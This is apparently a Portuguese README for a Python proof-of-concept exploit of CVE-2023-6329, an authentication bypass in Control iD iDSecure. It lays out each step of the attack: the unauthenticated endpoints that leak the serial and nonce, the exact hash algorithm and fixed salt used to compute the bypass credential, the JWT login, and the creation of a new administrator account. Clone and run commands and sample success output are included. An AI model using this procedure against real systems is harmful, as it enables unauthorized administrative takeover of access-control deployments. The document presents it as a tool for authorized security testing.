
Exploração PoC em Python para bypass de autenticação CVE-2023-6329 no Control iD iDSecure. Reconstrói credenciais de administrador via algoritmo previsível de derivação de senha para testes de segurança autorizados.
Um exploit de prova de conceito em Python para CVE-2023-6329, uma vulnerabilidade de controle de acesso impróprio no Control iD iDSecure versões 4.7.43.0 e anteriores. A falha permite que um atacante remoto não autenticado reconstrua credenciais de login válidas ao explorar um algoritmo previsível de derivação de senha que depende inteiramente de valores publicamente acessíveis — um número de série do dispositivo, um nonce fornecido pelo servidor e um salt fixo. Uma vez autenticado, o atacante pode criar um novo usuário administrativo na interface web.
Convertido para Python com base no módulo original do Metasploit por Michael Heinzl. Vulnerabilidade original descoberta e divulgada pela Tenable.
Aviso legal: Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O autor não se responsabiliza por uso indevido. Execute-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
A rotina de login em iDS-Core.dll expõe um caminho alternativo de autenticação por meio de um parâmetro passwordCustom. O valor desse parâmetro é derivado por um algoritmo previsível que utiliza o número de série do dispositivo (obtível publicamente sem autenticação), combinado com um nonce fornecido pelo chamador e uma string de salt fixa (cid2016). Como todos os elementos do cálculo são controlados pelo atacante ou livremente obtidos, qualquer atacante remoto pode calcular um valor válido de passwordCustom e entrar como administrador.
Após a autenticação bem-sucedida por esse caminho, o servidor redefine a senha da conta admin para admin, ou cria essa conta caso ela ainda não exista.
O exploit segue cinco etapas:
1. Verificação de versão — O endpoint /api/util/configUI retorna uma resposta 401 contendo a versão do software, confirmando se o alvo está executando uma compilação vulnerável.
2. Obter dados de desbloqueio — Uma requisição GET para /api/login/unlockGetData retorna o número serial do dispositivo e um nonce passwordRandom. Esse endpoint não exige autenticação.
3. Calcular passwordCustom — O algoritmo a seguir é aplicado para derivar a credencial de bypass:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # first 6 hex chars → decimal
4. Autenticar e obter um JWT — O passwordCustom e o passwordRandom calculados são enviados via POST para /api/login/, que retorna um JWT accessToken válido com privilégios de administrador.
5. Criar um novo usuário administrador — O JWT é usado para enviar um POST para /api/operator/ e registrar uma nova conta de operador com idType: 1 (papel de administrador).
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [options]
Uso básico contra um alvo na porta padrão:
python3 exploit.py --host 192.168.1.100
Especifique credenciais personalizadas para a nova conta de administrador:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
Alvo executando em uma porta não padrão sem SSL:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| Campo | Detalhes |
|---|
| CVE ID | CVE-2023-6329 |
| Produto Afetado | Control iD iDSecure |
| Versões Afetadas | ≤ 4.7.43.0 |
| Tipo de Vulnerabilidade | Controle de Acesso Impróprio (CWE-284) |
| Vetor de Ataque | Rede (não autenticado) |
| Data de Divulgação | 27 de novembro de 2023 |
| Descoberta Por | Tenable |
| Argumento | Padrão | Descrição |
|---|
--host | (obrigatório) | Endereço IP ou nome de host do alvo |
--port | 30443 | Porta do alvo |
--username | pwned_admin | Nome de usuário para a nova conta de administrador |
--password | Pwned1234! | Senha para a nova conta de administrador |
--no-ssl | False | Desativa HTTPS (usa HTTP simples) |